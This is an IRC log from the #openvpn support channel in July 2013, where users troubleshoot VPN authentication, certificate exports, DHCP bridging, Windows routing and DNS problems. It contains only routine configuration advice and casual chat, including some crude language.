13:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:03 <+pekster> Easy to script that; toss in a cute GUI if you'd like
13:03 <+pekster> Or use user/pass strictly
13:03 < hjohnson> pekster: that's what I do... it authenticates against our AD instance, so it's the same username and password as they use everywhere else.
13:04 <+pekster> Right; lacking client X509 or a --tls-auth key, that has the downside of letting anyone with the right config pound your system looking for weak passwords though
13:05 < hjohnson> pekster: the terminus is on the far end of a 1mbps by 300kbps satellite link. :) That can't be pounded all that hard
13:06 < hjohnson> (though it could DOS the satellite link I suppose)
13:06 <+pekster> TLS isn't that bandwidth intensive, primarily CPU-bound
13:06 <+pekster> At about 10-15 connections per second, I was able to cap out a 2.5 GHz processor (just one core, as openvpn is single-threaded)
13:07 < hjohnson> pekster: OpenVPN doesn't spawn another thread for each client?
13:07 <+pekster> OpenVPN isn't multi-threaded, so no
13:07 < hjohnson> ahh
13:07 <+pekster> It doesn't spawn threads at all
13:08 <+pekster> If you have X cores, you'd need at minimum X instances (assuming they're equally balanced) to utilize them all
13:08 < hjohnson> either way, it hasn't been that big of an issue thus far.. I keep an eye on the logfiles, and ahven't seen much in the way of errant connection attempts
13:08 <+pekster> Sure, all depends on "how much" security you need
13:09 <+pekster> Your backend can of course lock out accounts that have too many failed guesses, at the potential DoS of legit users
13:09 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
13:09 <+pekster> --tls-auth at least refuses connections earlier from clients that don't have the PSK
13:09 <+pekster> (less chance to waste CPU, and no possibility to guess accounts even if you become an "interesting" target)
13:09 < hjohnson> yeah
13:10 < hjohnson> MS forces some password complexity stuff by default (one number, 1 upper case)
13:10 <+pekster> Utter crap
13:10 < hjohnson> of course, I don't know how many passwords are Passw0rd
13:10 <+pekster> https://xkcd.com/936/
13:11 <@vpnHelper> Title: xkcd: Password Strength (at xkcd.com)
13:11 <+pekster> a few jobs ago all users got the default password of 'Password1' and had to change it when they first got logged in; about 1/3 of the company had some variation of 'PasswordX' as their password, where X was 2 through 19
13:12 <+pekster> After I (with permission, of course) ran a quick pen-test, the policy was changed ;)
13:12 < hjohnson> heh
13:12 <+pekster> Passphrases are so much more secure, selected from a large enough pool of words of 5 or more characters each
13:12 < hjohnson> pekster: yeah, previous job I had, when you got there you were assigned a password generated by pwgen
13:12 <+pekster> Easier to remember too
13:13 <+pekster> Systems that refuse those sufficiently long passwords becuase "they have no number or capital" are security-theatre
13:13 < hjohnson> sure
13:18 < hjohnson> otoh, there is benifit to having single signon... I wish I wasn't running AD, but for the onsite physics grad who's the IT guy these days, it's easier to admin than anything else. (Plus Microsofties donate a lot of credits to us, so we're not buying the licenses out of cash)
13:20 <+pekster> User accounts in LDAP aren't hard to manage either, fwiw
13:23 < hjohnson> sure, I'm just glad I got them to switch to using individual logins for everything... it was scary before hand.
13:23 < hjohnson> (there were 4 computers for staff use, and they were all just using single well-known logins...
13:23 < hjohnson> security on the NAS's was a nightmware, etc...
13:24 < hjohnson> so got them to go to individual logins, switch to WPA enterprise on the wireless, and things are infinitely better now
13:25 < hjohnson> wtf.. I need to slap the IT guy upside the head
13:36 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
13:39 < hjohnson> wtf is "jbuzzer" doing installed on the server?!
13:47 < kisom> At least you don't have a process named "Should not see me"
13:55 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
13:56 -!- adnc [~akif@p4FC683EB.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
14:07 -!- adnc [~akif@p4FC683EB.dip0.t-ipconnect.de] has joined #openvpn
14:18 -!- scharfdaddy [~scharfdad@208.97.252.239] has joined #openvpn
14:19 < scharfdaddy> I am currently trying to setup openvpn client on pfsense and hitting walls...i'm sure i'm close but if anyone could give some minor assistance i'd be greatful
14:19 < scharfdaddy> pm me plz
14:22 -!- Mjolnir [~nanderson@69.146.233.50] has joined #openvpn
14:25 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has quit [Ping timeout: 240 seconds]
14:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
14:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:33 <@krzee> scharfdaddy, better luck if you ask a question related to the wall you're at
14:36 < scharfdaddy> isn't this the openvpn wall?
14:37 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Read error: Connection reset by peer]
14:38 < hjohnson> ask the question, don't ask to ask
14:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
14:41 < scharfdaddy> I went over numerous documents setting up openvpn for a client VPN...seemed fairly logical but i'm hitting a wall and cannot connect.  In the instructions i'm told to export using the export utility and i get 3 files (.ovpn, .p12, and.key) but on fedora openvpn client.conf wants (ca.crt, client.crt, and client.key).  When i try to connect i get a TLS failed issue and i'm not sure where to go
14:41 < scharfdaddy> from here
14:42 < scharfdaddy> Does anyone have any good troubleshooting things I could look at?
14:42 <+pekster> A p12 can hold one or more of the CA, key, and cert in a single file
14:42 < scharfdaddy> The logs dont seem to be of any help on the pfsense, since I must not be hitting it.  And the logs on fedora are minor.  I only see the logging (set to -v) when running openvpn
14:42 <+pekster> It's just a package that holds multiple objects
14:42 <+pekster> !verb
14:42 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
14:43 <+pekster> !p12
14:43 <@vpnHelper> "p12" is openssl pkcs12 -export -out filename.p12 -inkey filename.key -in filename.crt -certfile ca.crt
14:43 <+pekster> !pkcs12
14:43 <+pekster> !pkcs
14:44 < scharfdaddy> so then using the export utility, take the .p12 and extract the 3 files the client.conf is looking for?
14:44 <+pekster> You could just use --pkcs12 if that file has all 3 expected objects in it
14:44 <+pekster> Otherwise, yes
14:45 < scharfdaddy> hmmmm, i'll look into that.  Not sure how i'd change the .conf to allow that since it is looking for 3 files, but worth some research and testing...thank you for the pointer!
14:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:45 <+pekster> Depends on why the TLS connection failed; if you get a timeout, then packets aren't coming back; remote logs may explain that it was rejected for some reason (bad/untrusted cert, etc)
14:46 < scharfdaddy> what sucks is the logs on the pfsense openvpn show nadda
14:46 < scharfdaddy> i'd rather have errors so i know what to look for
14:46 <+pekster> Then you're not using a high enough verbosity
14:46 <+pekster> 4 is a great place to start
14:46 <+pekster> 5 if it's an issue with packet delivery
14:46 < hjohnson> scharfdaddy: well, you've got the p12 file, just use openssl to convert it
14:46 < scharfdaddy> i see, ok i'll up that also
14:46 <+pekster> (as explained above)
14:48 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
14:50 -!- nutron|w [~nutron@184.68.34.30] has quit [Ping timeout: 246 seconds]
14:57 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 22.0/20130618035212]]
15:01 -!- scharfdaddy [~scharfdad@208.97.252.239] has left #openvpn []
15:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
15:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
15:29 -!- speed_racer84 [~speed_rac@8.22.0.11] has joined #openvpn
15:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:38 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
15:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
16:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
16:07 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Read error: Operation timed out]
16:07 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
16:08 -!- Denial [Denial@90.202.5.141] has quit []
16:16 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
16:24 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
16:36 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Quit: Nettalk6 - www.ntalk.de]
16:40 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
16:40 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
16:40 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
16:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
16:53 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Read error: Connection reset by peer]
16:54 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
17:04 -!- adnc [~akif@p4FC683EB.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
17:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
17:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
17:18 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
17:19 -!- adnc [~akif@p4FC6A9B7.dip0.t-ipconnect.de] has joined #openvpn
17:25 -!- adnc [~akif@p4FC6A9B7.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
17:25 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:25 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:25 -!- mode/#openvpn [+v s7r] by ChanServ
17:31 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
17:37 -!- adnc [~akif@79.198.169.183] has joined #openvpn
17:38 -!- Mjolnir [~nanderson@69.146.233.50] has quit [Read error: Connection reset by peer]
17:40 -!- p3rror [~p3rror@41.140.25.116] has joined #openvpn
17:42 -!- adnc [~akif@79.198.169.183] has quit [Ping timeout: 264 seconds]
17:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
17:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
17:56 -!- speed_racer84 [~speed_rac@8.22.0.11] has quit [Quit: Leaving]
17:58 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
18:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
18:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:07 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 264 seconds]
18:09 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
18:13 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
18:31 -!- lulzplzkthx [~lulzplzkt@173.192.122.97] has joined #openvpn
18:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
18:32 < lulzplzkthx> Hello. I'm on a Chromebook, and trying to get OpenVPN to work with my VPS.
18:32 < lulzplzkthx> I finally got my server configured, and my client connecting to the server fine.
18:32 < lulzplzkthx> However, once connected, any new connections seem to fail.
18:32 < lulzplzkthx> ping google.com gives ping: unknown host google.com
18:32 < lulzplzkthx> ping 74.125.227.132 (google ip) hangs.
18:32 < lulzplzkthx> pinging the IP of the server running the OpenVPN server works fine.
18:33 < lulzplzkthx> Additionally I can access any IP addresses on the OpenVPN VLAN.
18:33 < lulzplzkthx> My initial thought due to the "unknown host" error was that DNS was not working properly.
18:34 < lulzplzkthx> However given that pinging Google's IP address directly also seems to be an issue, I suspect there is more to it than that.
18:34 < lulzplzkthx> https://gist.github.com/6092940
18:34 <@vpnHelper> Title: server.conf (at gist.github.com)
18:34 < lulzplzkthx> Here is my server.conf
18:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:47 -!- master_o1_master [~master_of@p4FD7B027.dip0.t-ipconnect.de] has joined #openvpn
18:50 -!- master_of_master [~master_of@p4FF24862.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
18:55 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:57 -!- lulzplzkthx [~lulzplzkt@173.192.122.97] has left #openvpn []
19:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
19:06 -!- klein [~klein@187.85.182.246] has joined #openvpn
19:06 -!- klein [~klein@187.85.182.246] has quit [Changing host]
19:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
19:09 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:14 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
19:15 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:24 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
19:27 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:34 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
19:40 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
19:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
19:48 -!- raidz is now known as raidz_away
19:56 -!- Belliash [~belliash@asiotec/constitutive/belliash] has quit [Read error: Connection reset by peer]
19:57 -!- Belliash [~belliash@gateway/shell/bellsrv/x-blbodzhdqlslcwup] has joined #openvpn
19:57 -!- Belliash [~belliash@gateway/shell/bellsrv/x-blbodzhdqlslcwup] has quit [Changing host]
19:57 -!- Belliash [~belliash@asiotec/constitutive/belliash] has joined #openvpn
20:11 -!- tripolar [~u@unaffiliated/tripolar] has joined #openvpn
20:11 < tripolar> hi
20:15 < tripolar> how can i stop openvpn from manipulating dhcp packets that go over a tunnel?
20:16 < tripolar> my default gw gets dropped and so clients that get their ip address from a dhcp server over a remote openvpn tunnel have no default gw set
20:17 < tripolar> the same config worked in 2.2
20:17 < tripolar> now im on 2.3.2
20:18 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
20:18 < tripolar> Extracted DHCP router address '192.168.2.2' - this would be the default gw i need
20:18 < tripolar> Extracted DHCP router address '192.168.2.2' is an ouput of openvpn
20:22 -!- Whoopie [~Whoopie@p200300514F7F8F789EC7A6FFFE30886C.dip0.t-ipconnect.de] has joined #openvpn
20:22 -!- Whoopie [~Whoopie@p200300514F7F8F789EC7A6FFFE30886C.dip0.t-ipconnect.de] has quit [Changing host]
20:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
20:22 <@EugeneKay> The simple answer is "why the fuck are you doing DHCP?"
20:22 <@EugeneKay> openvpn has a built-in addressing schema which prevents client hijacking of other's IP addresses
20:24 <@EugeneKay> Bypassing this by running a non-addressed TAP device is rarely-to-never sane
20:26 < tripolar> EugeneKay: its needed by design as the remote dhcp server handels the clients
20:26 <@EugeneKay> Your design is stupid.
20:26 < tripolar> EugeneKay: so there is no way to change this with an configure option?
20:27 < tripolar> EugeneKay: i didnt design it i have to fix it ;)
20:35 < tripolar> EugeneKay but the thing is i create a openvpn connection and brigde it with an wifi device
20:36 <@EugeneKay> Don't do that. Fix your system so it makes sense.
20:36 < tripolar> and clients get their ip adress from a dhcp server that is only reachable over the openvpn connection
20:36 <@EugeneKay> I am not going to help you with bridging, full stop. If you're bridging, it's wrong 99% of the time. If you're a 1%er, you can read the man page.
20:37 < tripolar> EugeneKay: my config worked with 2.2 but now all my dhcp packets that go over the connection get the default gw stripped
20:37 <@EugeneKay> DO you even read what I'm saying
20:38 <@EugeneKay> Feel free to ask your questions, but expect to be told that it is the wrong approach, and I am not going to give you advice besides "tear it out and do it right"
20:38 < tripolar> EugeneKay: yes, im sorry but i'm trying to fix this for hours therefor im here - and i dont want to go back to 2.2 - sorry for ignoring what you were saying
20:38 <@EugeneKay> ESPECIALLY if you arent' the person who set it up and don't know what you're doing
20:39 < tripolar> i talked to the person who did it and i have to find a way to fix it
20:54 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
20:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
21:04 -!- childofthehorn [~childofth@209-253-157-229.ip.mcleodusa.net] has quit [Read error: Operation timed out]
21:16 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 260 seconds]
21:18 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
21:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
21:27 -!- JAVACODER [~JAVACODER@2.190.46.102] has joined #openvpn
21:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:28 -!- JAVACODER [~JAVACODER@2.190.46.102] has left #openvpn []
21:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
21:31 <@ecrist> bitches ain't shit but hos and tricks
21:34 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
21:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:51 -!- p3rror [~p3rror@41.140.25.116] has quit [Remote host closed the connection]
22:05 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Operation timed out]
22:08 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:10 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
22:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
22:17 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
22:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
22:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
22:32 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
22:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
22:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:14 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
23:20 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
23:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
23:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:35 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Quit: leaving]
23:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
23:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
23:53 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Quit: covered with hope and vaseline still cannot fix this broken machine watching the hole it used to be mine just watching it burn in my steady systematic decline of the trust i will betray give it to me i throw it away after everything i've done i hate myse]
23:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
--- Day changed Sat Jul 27 2013
00:06 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 246 seconds]
00:10 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-iwxerftcczoaoouh] has quit [Ping timeout: 276 seconds]
00:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
00:19 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-uzhviwbifbbwpyfm] has joined #openvpn
00:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
00:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
00:50 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
00:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
00:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
01:01 -!- adnc [~akif@p4FC6B622.dip0.t-ipconnect.de] has joined #openvpn
01:07 -!- adnc [~akif@p4FC6B622.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
01:26 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 264 seconds]
01:31 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
01:50 -!- nickmoec1 is now known as nickmoeck
03:55 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 248 seconds]
04:14 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:19 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
04:27 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Excess Flood]
04:28 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
04:28 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
04:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:33 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
04:44 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
04:45 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
05:05 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
05:15 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
05:47 -!- JAVACODER [~JAVACODER@2.190.35.8] has joined #openvpn
06:21 -!- JAVACODER [~JAVACODER@2.190.35.8] has quit [Read error: Connection reset by peer]
06:44 -!- michaelhart_ [~michaelha@162.209.54.120] has joined #openvpn
06:45 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 246 seconds]
06:45 -!- michaelhart_ is now known as michaelhart
07:04 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
07:05 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
07:11 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:15 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:19 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:21 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
07:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Max SendQ exceeded]
07:22 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
07:22 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:46 -!- JAVACODER [~JAVACODER@2.190.35.8] has joined #openvpn
07:46 -!- JAVACODER [~JAVACODER@2.190.35.8] has left #openvpn []
07:52 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
08:30 -!- Belliash [~belliash@asiotec/constitutive/belliash] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is."]
08:43 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
09:14 -!- adnc [~akif@p4FC6B622.dip0.t-ipconnect.de] has joined #openvpn
09:29 -!- adnc [~akif@p4FC6B622.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
09:41 -!- adnc [~akif@p4FC6B622.dip0.t-ipconnect.de] has joined #openvpn
09:42 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:51 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:51 < Valcorb> Hello
09:51 < Valcorb> Does someone know how to change routing tables on Windows?
09:51 < Valcorb> I'm having issues with running two openvpn connections at the same time
09:55 <@krzee> whats the issue?  (logfiles should tell ya)
09:55 <@krzee> are they client configs or server configs?
09:55 <@krzee> ohhh right you probably didnt add a second tap device
09:56 <@krzee> there should be a .bat script for that somewhere
09:56 <@krzee> (i dont use windows or i'ld be more helpful)
09:56 <@krzee> !factoids search tap
09:56 <@vpnHelper> 'tap', 'mactuntap', 'wintaphide', 'tunortap', and 'obsdtap'
09:56 <@krzee> !factoids search win
09:56 <@vpnHelper> 'winroute', 'winpass', 'win_noadmin', 'winipforward', '2.1-winpass-script', 'wintaphide', 'wins', 'win_ipfail', 'win2k8', 'sudowin', 'win_tcplimit', 'winnat', 'winscript', 'win_rollup', 'winpath', 'winsudo', 'windows_mobile', 'win_build', 'new_win_gui', 'win7', 'win-dns-vista-7', 'win-dns-xp', 'win-dns', 'winshortcut', 'windows_problems', and 'windows'
09:57 <@krzee> https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers
09:57 <@vpnHelper> Title: ManagingWindowsTAPDrivers – OpenVPN Community (at community.openvpn.net)
10:00 < rob0> there's also "route /?", their route.exe was stolen from BSD so it tends to be rather similar
10:01 <@krzee> he said change routing tables, i dont think theres even multiple tables in windows
10:02 <@krzee> then again it coulda been a language issue
10:06 < rob0> If Windows has multiple tables, no one outside of Redmond knows how to control them.
10:10 < kisom> !factoids help
10:10 < kisom> Guess not.
10:11 < Valcorb> krzee:
10:11 < Valcorb> I have a second TAP device
10:11 < Valcorb> i can connect to both connections
10:11 < Valcorb> but they just seem to conflict with each other
10:11 < Valcorb> I use one for work
10:11 < Valcorb> and the other one for anonymity
10:12 < Valcorb> When I connect to the one for anonymity, I can't connect to anything related from my work
10:12 < Valcorb> once I disconnect from the one for anonymity, it works fine
10:14 < Valcorb> i'm using Vescocity
10:14 < Valcorb> here's the log file
10:14 < Valcorb> http://paste2.org/WF2bJkOw
10:21 < rob0> Do both servers push --redirect-gateway?
10:22 < rob0> obviously the "anonymity" server does. If work does NOT, then maybe you could connect first to anonymity and then to work.
10:22 < Valcorb> rob0, work doesn't
10:23 < Valcorb> i'll try that
10:24 < rob0> What you'd really want is policy routing, which as above, no one not in Redmond knows how to do.
10:24 < Valcorb> rob0, doesn't work, still shows a bunch of errors
10:24 < Valcorb> meh
10:24 < Valcorb> there should be a way lol
10:25 < rob0> There is always a way, given enough money paid to the right people.
10:25 < Valcorb> So you're saying I should pay for support on an open-source project? o.O
10:26 -!- kubbing_ [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has joined #openvpn
10:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
10:29 < rob0> uh, why not?
10:30 < rob0> People in the free software community also need to eat. They cannot endlessly give to others without dying of hunger eventually.
10:32 < Valcorb> rob0: Did OpenVPN contributors get paid?
10:34 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 240 seconds]
10:41 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
10:41 -!- spiffytech [~spiffytec@lug.ncsu.edu] has joined #openvpn
10:52 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
10:53 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
11:00 < spiffytech> I have an interesting problem: I followed a how-to on setting up OpenVPN to route all of my traffic through a proxy server. It seemed to be going well: I can check my IP at https://duckduckgo.com/?q=ip and it shows my proxy server's IP. Sounds good, yes? Except web page still get 302 redirected by T-Mobile's anti-tethering page I started this whole thing to circumvent.
11:00 <@vpnHelper> Title: ip at DuckDuckGo (at duckduckgo.com)
11:01 < spiffytech> Pretty sure I did something wrong, and not that T-Mobile has cracked OpenVPN, but I'm not sure what.
11:01 < spiffytech> Client conf: http://hastebin.com/poqukodesu Server conf: http://hastebin.com/mudocicoru Client log: http://hastebin.com/ximigijiwu Server log: http://hastebin.com/banavejahu Client routes: http://hastebin.com/fabirudewi
11:01 <@vpnHelper> Title: hastebin (at hastebin.com)
11:03 < spiffytech> I also made sure to run "echo "1" > /proc/sys/net/ipv4/ip_forward" and "iptables -t nat -A POSTROUTING -s 10.30.0.0/24 -o eth0 -j MASQUERADE" on my server
11:07 < rob0> the duckduckgo page is not redirected, but all others are?
11:07 < BtbN> most likely they do that anti-tether via DNS
11:08 < BtbN> and you are still using the original dns servers
11:09 < spiffytech> rob0: T-Mobile has always been selective on which pages they redirect, but I've found one that consistently redirects both before and after connecting to the VPN.
